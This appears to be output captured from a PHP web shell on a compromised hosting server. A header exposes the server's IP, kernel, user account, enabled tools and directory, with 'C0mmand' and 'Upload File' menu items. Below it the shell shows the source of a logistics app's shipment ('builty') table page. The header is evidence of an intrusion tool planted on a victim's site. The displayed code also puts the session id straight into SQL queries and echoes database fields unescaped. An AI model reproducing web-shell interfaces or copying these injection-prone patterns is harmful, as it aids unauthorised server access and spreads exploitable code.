|
Server IP : 162.214.80.37 / Your IP : 216.73.216.83 Web Server : Apache System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : imyrqtmy ( 2189) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/imyrqtmy/public_html/Quickex/builty/vendor/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
session_start();
$se = $_SESSION["id"];
if (!isset($_SESSION['id'])) {
header("Location: login.php");
}
include("inc/config.php");
?>
<!DOCTYPE html>
<html lang="en">
<?php require "inc/head.php"; ?>
<body>
<!-- header-->
<?php require "inc/header.php"; ?>
<!-- End Main-content Top bar-->
<!-- main-content-->
<div class="wrapper">
<?php require "inc/sidebar.php"; ?>
<div id="content">
<div class="row">
<div class="col-12 col-sm-12">
<div class="row mb-4">
<div class="col-12 col-md-12">
<div class="card redial-border-light redial-shadow mb-4">
<div class="card-body">
<h6 class="header-title pl-3 redial-relative">Data Table</h6>
<?php
// Fetch employees from the employees table
$employees_query = "SELECT id, femp_name, lemp_name FROM employees";
$employees_result = mysqli_query($conn, $employees_query);
$employees = [];
while ($emp = mysqli_fetch_assoc($employees_result)) {
$employees[] = $emp;
}
?>
<table id="example" class="table table-bordered" cellspacing="0" width="100%">
<thead>
<tr>
<th>#</th>
<th>Gr No.</th>
<th>Action</th>
<th>Status</th>
<th>Destination</th>
<th>Origin Phone</th>
<th>Origin e-Way Bill</th>
<th>Assign Employee</th> <!-- New Column -->
</tr>
</thead>
<tbody>
<?php
$se = $_SESSION["id"];
$query = "SELECT * FROM builties WHERE emp_id = '$se'";
$query_run = mysqli_query($conn, $query);
// Fetch all employees for dropdown
$employees = mysqli_query($conn, "SELECT id, femp_name, lemp_name FROM employees");
$employee_list = [];
while ($emp = mysqli_fetch_assoc($employees)) {
$employee_list[$emp['id']] = $emp['femp_name'] . " " . $emp['lemp_name'];
}
if (mysqli_num_rows($query_run) > 0) {
foreach ($query_run as $row) {
// Define invoice file path
$invoice_file = "invoices/invoice_" . $row['id'] . ".pdf";
$invoice_generated = file_exists($invoice_file); // Check if file exists
// Define available statuses
$statuses = ["Pending", "Shipped", "In Transit", "Delivered"];
?>
<tr>
<td><?php echo $row['id']; ?></td>
<td><?php echo $row['grno']; ?></td>
<td>
<div class='btn-group mb-2'>
<a href="generate_pdf.php?id=<?php echo $row['id']; ?>" class="btn btn-primary"><i class='fa fa-file'></i></a>
<?php if (!$invoice_generated) { ?>
<a href="update-builty.php?id=<?php echo $row['id']; ?>" class="btn btn-success"><i class='fa fa-pencil'></i></a>
<?php } ?>
<form action="add_builty.php" method="post" style="display:inline;">
<input type="hidden" name="delete_id" value="<?php echo $row['id']; ?>">
<button type="submit" name="delete_builty" class="btn btn-danger"><i class='fa fa-trash'></i></button>
</form>
</div>
<?php if (!$invoice_generated) { ?>
<div class='btn-group mb-2'>
<a href="invoice.php?id=<?php echo $row['id']; ?>" class="btn btn-warning">
Invoice
</a>
</div>
<?php } ?>
</td>
<!-- Status Dropdown -->
<td>
<select class="status-dropdown" data-id="<?php echo $row['id']; ?>">
<?php
foreach ($statuses as $status) {
$selected = ($row['status'] == $status) ? "selected" : "";
echo "<option value='$status' $selected>$status</option>";
}
?>
</select>
</td>
<td><?php echo $row['destination']; ?></td>
<td><?php echo $row['origin_phone']; ?></td>
<td><?php echo $row['origin_eway']; ?></td>
<!-- Assign Employee Dropdown -->
<td>
<select class="assign-employee-dropdown" data-id="<?php echo $row['id']; ?>">
<option value="">Select Employee</option>
<?php
foreach ($employee_list as $emp_id => $emp_name) {
$selected = ($row['assign_emp_id'] == $emp_id) ? "selected" : "";
echo "<option value='$emp_id' $selected>$emp_name</option>";
}
?>
</select>
</td>
</tr>
<?php
}
}
?>
</tbody>
</table>
<!-- <table id="example" class="table table-bordered" cellspacing="0" width="100%">
<thead>
<tr>
<th>#</th>
<th>Gr No.</th>
<th>Action</th>
<th>Destination</th>
<th>Origin Phone</th>
<th>origin e-way Bill</th>
</tr>
</thead>
<tbody>
<?php
$se = $_SESSION["id"];
$query = "SELECT * FROM builties WHERE emp_id = '$se'";
$query_run =mysqli_query($conn, $query);
if(mysqli_num_rows($query_run) > 0){
foreach($query_run as $row){
?>
<tr>
<td><?php echo $row['id']; ?></td>
<td><?php echo $row['grno']; ?></td>
<td>
<div class='btn-group mb-2'>
<a href="generate_pdf.php?id=<?php echo $row['id']; ?>" class="btn btn-primary"><i class='fa fa-file'></i></a>
<a href="update-builty.php?id=<?php echo $row['id']; ?>" class="btn btn-success"><i class='fa fa-pencil'></i></a>
<form action="add_builty.php" method="post">
<input type="hidden" name="delete_id" value="<?php echo $row['id']; ?>">
<button type="submit" name="delete_builty" class="btn btn-danger"><i class='fa fa-trash'></i></button>
</div>
</form>
<div class='btn-group mb-2'>
<a href="javascript:void(0);"
class="btn btn-warning"
onclick="confirmInvoice('<?php echo $row['id']; ?>')">
Invoice
</a>
</div>
</td>
<td><?php echo $row['destination']; ?></td>
<td><?php echo $row['origin_phone']; ?></td>
<td><?php echo $row['origin_eway']; ?></td>
</tr>
<?php }} ?>
</tbody>
</table> -->
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- End main-content-->
<!-- Top To Bottom-->
<a href="#" class="scrollup text-center redial-bg-primary redial-rounded-circle-50">
<h4 class="text-white mb-0"><i class="icofont icofont-long-arrow-up"></i></h4>
</a>
<!-- End Top To Bottom-->
<!-- jQuery Script to Handle Employee Assignment -->
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script>
$(document).ready(function() {
$(".assign-employee-dropdown").change(function() {
var builtyId = $(this).data("id");
var assignedEmpId = $(this).val();
console.log("Builty ID:", builtyId, "Assigned Employee ID:", assignedEmpId); // Debugging
$.ajax({
url: "assign_builty.php",
type: "POST",
data: { builty_id: builtyId, assign_emp_id: assignedEmpId },
success: function(response) {
console.log("Server Response:", response); // Debugging
if (response.trim() === "Success") {
alert("Builty assigned successfully!");
} else {
alert("Error: " + response);
}
},
error: function(xhr, status, error) {
console.error("AJAX Error:", status, error);
alert("AJAX request failed. Check console for details.");
}
});
});
});
</script>
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script>
$(document).ready(function() {
$(".status-dropdown").change(function() {
var newStatus = $(this).val();
var recordId = $(this).data("id");
$.ajax({
url: "update_status.php",
type: "POST",
data: { id: recordId, status: newStatus },
success: function(response) {
alert(response);
}
});
});
});
</script>
<script>
function confirmInvoice(id) {
if (confirm("Are you sure you want to create an Invoice?")) {
window.location.href = "invoice.php?id=" + id;
}
}
</script>
<!-- jQuery -->
<script src="dist/js/plugins.min.js"></script>
<script src="dist/js/common.js"></script>
</body>
</html>